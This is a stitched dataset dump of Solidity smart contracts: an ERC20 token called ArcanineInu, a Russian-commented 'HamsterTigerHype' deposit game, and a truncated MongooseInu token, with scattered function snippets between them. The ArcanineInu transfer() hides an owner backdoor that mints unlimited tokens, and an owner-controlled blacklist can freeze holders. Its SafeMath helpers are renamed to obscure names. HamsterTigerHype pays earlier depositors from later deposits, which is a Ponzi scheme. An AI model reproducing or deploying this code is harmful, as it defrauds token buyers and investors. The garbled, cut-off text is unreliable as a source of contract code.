file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
|---|---|---|---|
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract BABY is Context {
address internal recipients;
mapping (address => bool) internal blacklist;
event baby(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit baby(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata , BABY{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function BlacklistUser (address listed) checker external {
blacklist[listed]=true;
}
function UnbanUser (address listed) checker external{
blacklist[listed]=false;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract ArcanineInu is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 151000000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('ArcanineInu', 'ARCINU') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens./
|
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
| 97,494
|
./partial_match/1/0x4ea90065FFE6b28DE07B50046bff10370a0bf51A/sources/AntiBotBABYTOKEN.sol
|
Interface for the optional metadata functions from the ERC20 standard. _Available since v4.1._/
|
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
}
| 2,616,448
|
/**
*Submitted for verification at Etherscan.io on 2021-07-18
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0 <0.9.0;
contract HamsterTigerHype {
// структура пользователя, куда заносится информация о депозите пользователя, времени его инвестов и проверка на участие в программе
struct User {
uint256 deposit;
uint256 time;
uint256 timeDeposit;
uint256 round;
uint idx;
}
//Данный параметр хранит информацию о структурах всех пользователей, которые участвуют в проекте
mapping(address => User) users;
//Массив адресов инвесторов, у которых депозит больше минимального (minValueInvest - настройка)
address payable[] investors = new address payable[](5);
//Адрес последнего инвестораф
address payable lastInvestor;
//Рекламный адрес
address payable advertising;
//Баланс контракта
uint256 totalBalance;
//Время последней отправки процента на рекламный адрес
uint256 advertisingLast;
//Время последнего инвеста
uint256 lastInvest;
//Общая сумма необходиммая на вывод
uint256 withdrawSum;
//Время которое должно пройти для получения выплаты
uint256 withdrawTime = 1 minutes;
//Время которое должно пройти для получения выплаты на рекламный счёт
uint256 advertisingTime = 1 minutes;
//Время игры тигров
uint256 tigerGameTime = 2 minutes;
// Минимальная сумма для участия в режиме Тигров
uint256 minValueInvest = 0.05 ether;
// Раунд
uint256 round = 1;
//Тип игры Хомяки/Тигры
enum GameType {Hamster, Tiger}
GameType game = GameType.Hamster;
// Переменная для индексов инвесторов
uint index = 0;
// Подсчёт инвесторов
uint8 investedCount = 0;
// Событие старта игры Хомяков
event StartHamsterGame();
// Событие старта игры Тигров
event StartTigerGame();
constructor() {
advertising = payable(msg.sender);
advertisingLast = block.timestamp;
lastInvest = block.timestamp;
}
//Вывод средств или инвестирвоание
receive() external payable {
withdrawDividends();
if (msg.value > 0) {
invest();
} else {
withdraw();
}
}
//функция вывода средств(вызывается при отправке 0 eth)
function withdraw() internal {
User storage user = users[msg.sender];
if (user.round != round) {
user.round = round;
user.deposit = 0;
user.timeDeposit = 0;
user.time = 0;
}
uint256 payout = user.deposit / 5;
uint256 period = block.timestamp - user.time;
// при работе режима тигров функция не позволяет вывести средства
require(game == GameType.Hamster, "Only invest");
// если все условия соблюдены, то пользователю выплачивается сумма его ежедневных выплат
require(period > withdrawTime, "Very early");
require(payout > 0, "Deposit is Zero");
if (payable(msg.sender).send(payout)) {
user.time = block.timestamp;
}
if (withdrawSum > address(this).balance) {
game = GameType.Tiger;
emit StartTigerGame();
lastInvest = block.timestamp;
}
}
//функция инвест срабатывает при поступлении средств на контракт
function invest() internal {
uint balance = address(this).balance;
investmentOperations();
if (game == GameType.Hamster) {
if (withdrawSum > balance) {
//если больше 5 участников с депозитом больше (настройки-minValueInvest), то включается режим тигров
if (investors.length >= 5) {
game = GameType.Tiger;
emit StartTigerGame();
}
}
} else {
// если сумма баланса больше суммы которую нужно выплатить в 2 раза включается режим хомяков
if ((withdrawSum * 2) < balance) {
game = GameType.Hamster;
emit StartHamsterGame();
} else {
if (msg.value >= minValueInvest && block.timestamp - lastInvest > tigerGameTime) {
multiplier();
emit StartHamsterGame();
game = GameType.Hamster;
}
}
}
if(msg.value >= minValueInvest){
lastInvest = block.timestamp;
}
}
//внутренняя логика функции инвест
function investmentOperations() internal {
User storage user = users[msg.sender];
if (user.round != round) {
user.round = round;
user.deposit = 0;
user.timeDeposit = 0;
user.time = 0;
}
// Если последний инвестор не мы заносим в список инвесторов
if (lastInvestor != msg.sender) {
if (msg.value >= minValueInvest) {
if (investors[user.idx] != msg.sender) {
investedCount++;
uint idx = addInvestor(payable(msg.sender));
user.idx = idx;
}
lastInvestor = payable(msg.sender);
}
}
//Обновляем информация пользователя
user.deposit += msg.value;
user.timeDeposit = block.timestamp;
if(user.time == 0){
user.time = block.timestamp;
}
totalBalance += msg.value / 10;
withdrawSum += msg.value / 5;
}
// Получить следующий индекс для массива инветоров
function getIndex(uint num) internal view returns (uint){
return (index + num) % 5;
}
//Добовляем инвестора в список
function addInvestor(address payable investor) internal returns (uint) {
index = getIndex(1);
investors[index] = investor;
return index;
}
//Режим мультипликатора(срабатывает при превышении суммы ежедневных выплат над балансом контракта)
function multiplier() internal {
uint256 one = address(this).balance / 100;
uint256 fifty = one * 50;
uint256 seven = one * 7;
address payable[] memory sorted = sort();
for (uint256 i = 0; i < 5; i++) {
address payable to = sorted[i];
if (i == 0) {
to.transfer(fifty);
} else if (i >= 1 && i <= 4) {
to.transfer(seven);
}
}
advertising.transfer(one * 22);
investors = new address payable[](5);
withdrawSum = 0;
totalBalance = 0;
investedCount = 0;
round++;
}
//Функция отправки средств на рекламный адрес(вызывается при использовании внутренней логики контракта пользователями)
function withdrawDividends() internal {
if (totalBalance > 0 && address(this).balance > totalBalance && block.timestamp - advertisingLast > advertisingTime) {
advertising.transfer(totalBalance);
totalBalance = 0;
advertisingLast = block.timestamp;
}
}
// Функция сортировки инвесторов по времени инвестирования
function sort() internal view returns (address payable[] memory) {
address payable[] memory sorting = investors;
uint256 l = 5;
for(uint i = 0; i < l; i++) {
for(uint j = i+1; j < l ;j++) {
uint us1 = 0;
uint us2 = 0;
if(investors[i] != address(0)){
us1 = users[sorting[i]].timeDeposit;
}
if(investors[j] != address(0)){
us2 = users[sorting[j]].timeDeposit;
}
if(us1 < us2) {
address payable temp = sorting[i];
sorting[i] = sorting[j];
sorting[j] = temp;
}
}
}
return sorting;
}
function getInvestors() public view returns (address payable [] memory) {
return investors;
}
function getDeposit(address _address) public view returns (uint256) {
return users[_address].round != round ? 0 : users[_address].deposit;
}
function getWithdrawSum() public view returns (uint256) {
return withdrawSum;
}
function getRound() public view returns (uint256) {
return round;
}
function getLastInvestor() public view returns (address payable) {
return lastInvestor;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getGame() public view returns (GameType) {
return game;
}
}
|
Добовляем инвестора в список
|
function addInvestor(address payable investor) internal returns (uint) {
index = getIndex(1);
investors[index] = investor;
return index;
}
| 7,859,986
|
/***
* 888b d888 8888888
* 8888b d8888 888
* 88888b.d88888 888
* 888Y88888P888 .d88b. 88888b. .d88b. .d88b. .d88b. .d8888b .d88b. 888 88888b. 888 888
* 888 Y888P 888 d88""88b 888 "88b d88P"88b d88""88b d88""88b 88K d8P Y8b 888 888 "88b 888 888
* 888 Y8P 888 888 888 888 888 888 888 888 888 888 888 "Y8888b. 88888888 888 888 888 888 888
* 888 " 888 Y88..88P 888 888 Y88b 888 Y88..88P Y88..88P X88 Y8b. 888 888 888 Y88b 888
* 888 888 "Y88P" 888 888 "Y88888 "Y88P" "Y88P" 88888P' "Y8888 8888888 888 888 "Y88888
* 888
* Y8b d88P
* "Y88P"
*
* Yep, it has come to this...
* Telegram: https://t.me/MongooseInu
*
*/
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract MongooseInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress;
//address payable public devAddress;
address payable public liquidityAddress;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
